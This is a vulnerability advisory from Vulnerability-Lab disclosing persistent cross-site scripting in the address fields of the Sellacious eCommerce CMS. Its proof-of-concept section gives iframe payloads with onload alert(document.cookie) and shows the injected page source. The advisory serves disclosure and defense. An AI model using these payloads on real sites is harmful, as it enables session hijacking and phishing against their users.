===============
Sellacious eCommerce - Multiple Persistent Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2226
Release Date:
=============
2020-05-08
Vulnerability Laboratory ID (VL-ID):
====================================
2226
Common Vulnerability Scoring System:
====================================
4.6
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Sellacious is a perfect solution for all your b2b needs, coded and
built
to render all user groups, Be it Small, Medium or Enterprise.
Sellacious is fixed with all the features required for a b2b
online
store making it a model b2b eCommerce software. Unlike other
solutions, requires extremely less plugins to make it a
complete
solution which defines it as a fit Enterprise eCommerce
Software.
Sellacious is designed to render the users an interface which
supports
the running of your first Online store or Joomla Marketplace
under 2 minutes. Be it a store with just a fraction of products or
with
thousands of variations, Sellacious - an extremely dependable
eCommerce marketplace software is delivered to handle them all with
just
a few clicks.
(Copy of the Homepage:
https://www.sellacious.com/free-open-source-ecommerce-software
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered
multiple
persistent web vulnerabilities in the Sellacious eCommerce Shop
CMS.
Vulnerability Disclosure Timeline:
==================================
2020-05-08: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered
in
the official Sellacious eCommerce Shop CMS (2020 Q1).
The vulnerability allows remote attackers to inject own malicious
script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The cross site web vulnerabilities are located in the all the
adress
input fields of the `Manage Your Addresses` module.
Remote attackers are able to register a low privilege user account
to
inject own malicious script code to the adress
information page. The execution of the script code occurs each time
the
adress information is used in the web ui of
the ecommerce application. The request method to inject is POST and
the
attack vector is persistent on the application-side.
Successful exploitation of the vulnerabilities results in
session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation
of
affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Manage Your Addresses
Vulnerable Input(s):
[+] Full name
[+] First name
[+] Middle name
[+] Last name
[+] Company
[+] PO Box
[+] Address
[+] Landmark
Affected(s):
[+] index.php/manage-your-addresses
[+] Backend user adress information listing
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be
exploited by
remote attackers with user account and low user interaction.
For security demonstration or to reproduce the web vulnerability
follow
the provided information and steps below to continue.
PoC: Exploitation
<iframe src="/evil.source" onload=alert(document.cookie)>
<iframe src="/evil.source" onload=alert(document.domain)>
PoC: Vulnerable Source
<div class="addresses-container">
<div class="address-heading">
<h2>Your addresses
<a href="#address-form-0" role="button"
data-toggle="ctech-modal"
class="ctech-mb-3 btn-add-address ctech-float-right
ctech-text-primary">
<i class="fa fa-plus"></i> <span
class="add-address-text">Add New
Address</span></a></h2></div>
<div id="addresses" class="cart-aio ctech-text-center">
<div id="address-editor">
<ul id="address-items" data-original-title="" title="">
<li
class="address-item" id="address-item-9"> <div
class="ctech-float-right
address-action">
<button type="button" class="ctech-btn ctech-btn-small
ctech-btn-default
hasTooltip remove-address" data-placement="bottom" data-id="9"
title=""
data-original-title="Delete"><i class="fa
fa-trash-alt"></i></button> <a
href="#address-form-9" role="button" data-toggle="ctech-modal"
data-placement="bottom"
class="ctech-btn ctech-btn-small ctech-btn-default hasTooltip"
title=""
data-original-title="Edit"><i class="fa
fa-edit"></i></a> </div>
<div class="address-content"> <span
class="address_name">>"<iframe
src="/evil.source"></span> <span
class="address_company">>"<iframe
src="/evil.source"></span>
<span class="address_po_box">PO #: >"<iframe src="/evil.source"></span>
<span class="address_address has-comma">>"<iframe src="/evil.source"></span>
<span class="address_landmark has-comma">>"<iframe
src="/evil.source"></span> <span
class="address_country">United
States</span>
<div class="cart_address_box w100p"> <div
class="cart_address_buttons">
</div> </div> </div> </li> <li
class="address-item odd-address-item">
<a href="#address-form-0" role="button"
data-toggle="ctech-modal"
class="btn-new-address"><i class="fa
fa-plus"></i></a> </li>
</iframe></span></div></li></ul>
<div class="ctech-wrapper">
</div><div class="ctech-clearfix"></div>
</div><div class="ctech-clearfix"></div>
</div></div>
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is
without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of
merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including
direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have
been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for
consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses,
policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages,
of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its
unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its
suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team
& the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask
permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
